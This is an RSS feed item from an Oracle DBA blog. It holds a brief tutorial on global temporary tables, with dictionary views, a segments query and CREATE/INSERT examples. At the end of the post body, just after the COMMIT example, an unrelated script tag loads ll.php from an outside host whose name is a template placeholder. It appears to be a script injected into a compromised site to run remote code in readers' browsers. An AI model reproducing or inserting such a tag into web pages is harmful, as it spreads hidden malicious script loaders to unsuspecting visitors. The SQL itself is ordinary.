<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; TEMPORARY SEGMENTS</title>
	<atom:link href="http://www.bestremotedba.com/tag/temporary-segments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>TEMPORARY SEGMENTS or TEMPORARY TABLES</title>
		<link>http://www.bestremotedba.com/temporary-segments-or-temporary-tables/</link>
		<comments>http://www.bestremotedba.com/temporary-segments-or-temporary-tables/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 04:35:09 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Temporary Tablespace Maintenance]]></category>
		<category><![CDATA[TEMPORARY SEGMENTS]]></category>
		<category><![CDATA[TEMPORARY TABLES]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=111</guid>
		<description><![CDATA[TEMPORARY SEGMENTS or TEMPORARY TABLES]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>- You can find out using the following dictionray views<br />
	DBA_TABLES.temporary, DBA_SEGMENTS.segment_type,V$TEMPFILE, DBA_TEMP_FILES </p>
<p>- select * from dba_segments where segment_type = &#8216;TEMPORARY&#8217;;</p>
<p>- What is temporary segments or temporary tables</p>
<p>  &#8211; other sessions can see table definition but not data<br />
  &#8211; data truncated when transaction/session (commit/rollback/exit) ends<br />
  &#8211; sessions get bound to temporary tables with the first insert into the table<br />
  &#8211; segments allocated to table at insert time not create time like normal tables</p>
<p>  &#8211; creating<br />
  &#8211; session specific:<br />
     CREATE GLOBAL TEMPORARY TABLE ON COMMIT PRESERVE ROWS;<br />
  &#8211; transaction specific:<br />
     CREATE GLOBAL TEMPORARY TABLE ON COMMIT DELETE ROWS;</p>
<p>  &#8211; example:<br />
     CREATE GLOBAL TEMPORARY TABLE emp_temp<br />
     (emp_name VARCHAR(60) NOT NULL,<br />
      emp_id NUMBER(4) NOT NULL,<br />
     CONSTRAINT emp_temp_pk PRIMARY KEY (emp_id)) ON COMMIT PRESERVE ROWS;</p>
<p>     INSERT INTO emp_temp (emp_name, emp_id)  values(&#8216;Mudhalvan&#8217;,1);</p>
<p>     COMMIT;<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/temporary-segments-or-temporary-tables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

